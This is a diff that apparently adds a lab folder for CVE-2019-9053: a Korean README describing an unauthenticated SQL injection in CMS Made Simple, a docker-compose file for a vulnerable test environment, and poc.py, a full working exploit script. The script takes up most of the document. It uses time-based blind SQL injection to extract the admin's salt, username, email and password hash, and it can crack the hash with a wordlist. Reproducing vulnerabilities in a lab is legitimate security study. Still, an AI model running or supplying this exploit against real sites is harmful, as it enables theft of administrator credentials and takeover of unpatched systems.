[최빈/chlqls]: cmsms CVE-2019-9053 분석 코드 및 결과

cmsms/CVE-2019-9053/README.md

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+# CMS Made Simple (CMSMS) < 2.2.10 Unauthenticated SQL Injection (CVE-2019-9053)
+
+> [최빈 (@chlqls)](https://github.com/chlqls)
+
+<br/>
+
+### 요약
+
+- **CMS Made Simple (CMSMS)** 는 개발자, 프로그래머 및 사이트 소유자에게 웹 기반 개발 및 관리 영역을 제공하기 위한 무료 오픈 소스 콘텐츠 관리 시스템임
+- 2.2.9.1 이전 버전에서 CMS Made Simple은 인증되지 않은 **SQL Injection 취약점**이 있음
+  - 공격자는 관리자의 암호 또는 암호 재설정 토큰을 획득 가능함
+- 더불어 SSTI 이슈([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120))와 결합되면 공격자가 대상 서버에서 임의의 코드를 실행할 위험 발생
+
+<br/>
+
+### 환경 구성 및 실행
+
+1. `docker compose up -d`를 실행하여 테스트 환경(CMS Made Simple 2.2.9.1)을 실행
+
+2. 서버가 시작된 후 `http://your-ip/install.php/`에 접속하여 CMS를 설치
+
+   - 해당 페이지에서 설치 지침에 따라 CMSMS를 설치
+   - [Step 4] MySQL database address는 `db`, database name은 `cmsms`, username과 password는 둘 다 `root` 입력
+
+     ![](./1.png)
+
+   - [Step 5] Admin 계정 정보는 자유롭게 입력
+
+     ![](./2.png)
+
+3. `python2 poc.py -u http://127.0.0.1`를 실행하여 위에서 입력한 **Admin 계정이 출력**되는 것을 확인
+   - SQL Injection 취약점을 이용하기 위해 [https://www.exploit-db.com/exploits/46635](https://www.exploit-db.com/exploits/46635)의 스크립트 활용
+
+<br/>
+
+### 결과
+
+![](result.png)
+
+<br/>
+
+### 정리
+
+- 이 취약점은 공격자가 데이터베이스에서 Admin 계정의 정보를 얻을 수 있어, 정보 유출 및 비정상적인 동작 유발의 위험이 있다.
+- 안전한 데이터 관리를 위해서는 입력값을 정규화하고 필터링하여 입력값을 안전하게 처리해야 한다.

cmsms/CVE-2019-9053/docker-compose.yml

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+version: "2"
+services:
+  web:
+    image: vulhub/cmsms:2.2.9.1
+    ports:
+      - "80:80"
+    depends_on:
+      - db
+  db:
+    image: mysql:5.7
+    environment:
+      - MYSQL_ROOT_PASSWORD=root
+      - MYSQL_DATABASE=cmsms

cmsms/CVE-2019-9053/poc.py

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+#!/usr/bin/env python2
+# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
+# Date: 30-03-2019
+# Exploit Author: Daniele Scanu @ Certimeter Group
+# Vendor Homepage: https://www.cmsmadesimple.org/
+# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
+# Version: <= 2.2.9
+# Tested on: Ubuntu 18.04 LTS
+# CVE : CVE-2019-9053
+
+import requests
+from termcolor import colored
+import time
+from termcolor import cprint
+import optparse
+import hashlib
+
+parser = optparse.OptionParser()
+parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
+parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
+parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
+
+options, args = parser.parse_args()
+if not options.url:
+    print "[+] Specify an url target"
+    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
+    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
+    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
+    exit()
+
+url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
+session = requests.Session()
+dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
+flag = True
+password = ""
+temp_password = ""
+TIME = 1
+db_name = ""
+output = ""
+email = ""
+
+salt = ''
+wordlist = ""
+if options.wordlist:
+    wordlist += options.wordlist
+
+def crack_password():
+    global password
+    global output
+    global wordlist
+    global salt
+    dict = open(wordlist)
+    for line in dict.readlines():
+        line = line.replace("\n", "")
+        beautify_print_try(line)
+        if hashlib.md5(str(salt) + line).hexdigest() == password:
+            output += "\n[+] Password cracked: " + line
+            break
+    dict.close()
+
+def beautify_print_try(value):
+    global output
+    print "\033c"
+    cprint(output,'green', attrs=['bold'])
+    cprint('[*] Try: ' + value, 'red', attrs=['bold'])
+
+def beautify_print():
+    global output
+    print "\033c"
+    cprint(output,'green', attrs=['bold'])
+
+def dump_salt():
+    global flag
+    global salt
+    global output
+    ord_salt = ""
+    ord_salt_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_salt = salt + dictionary[i]
+            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_salt)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            salt = temp_salt
+            ord_salt = ord_salt_temp
+    flag = True
+    output += '\n[+] Salt for password found: ' + salt
+
+def dump_password():
+    global flag
+    global password
+    global output
+    ord_password = ""
+    ord_password_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_password = password + dictionary[i]
+            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_password)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
+            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            password = temp_password
+            ord_password = ord_password_temp
+    flag = True
+    output += '\n[+] Password found: ' + password
+
+def dump_username():
+    global flag
+    global db_name
+    global output
+    ord_db_name = ""
+    ord_db_name_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_db_name = db_name + dictionary[i]
+            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_db_name)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            db_name = temp_db_name
+            ord_db_name = ord_db_name_temp
+    output += '\n[+] Username found: ' + db_name
+    flag = True
+
+def dump_email():
+    global flag
+    global email
+    global output
+    ord_email = ""
+    ord_email_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_email = email + dictionary[i]
+            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_email)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            email = temp_email
+            ord_email = ord_email_temp
+    output += '\n[+] Email found: ' + email
+    flag = True
+
+dump_salt()
+dump_username()
+dump_email()
+dump_password()
+
+if options.cracking:
+    print colored("[*] Now try to crack password")
+    crack_password()
+
+beautify_print()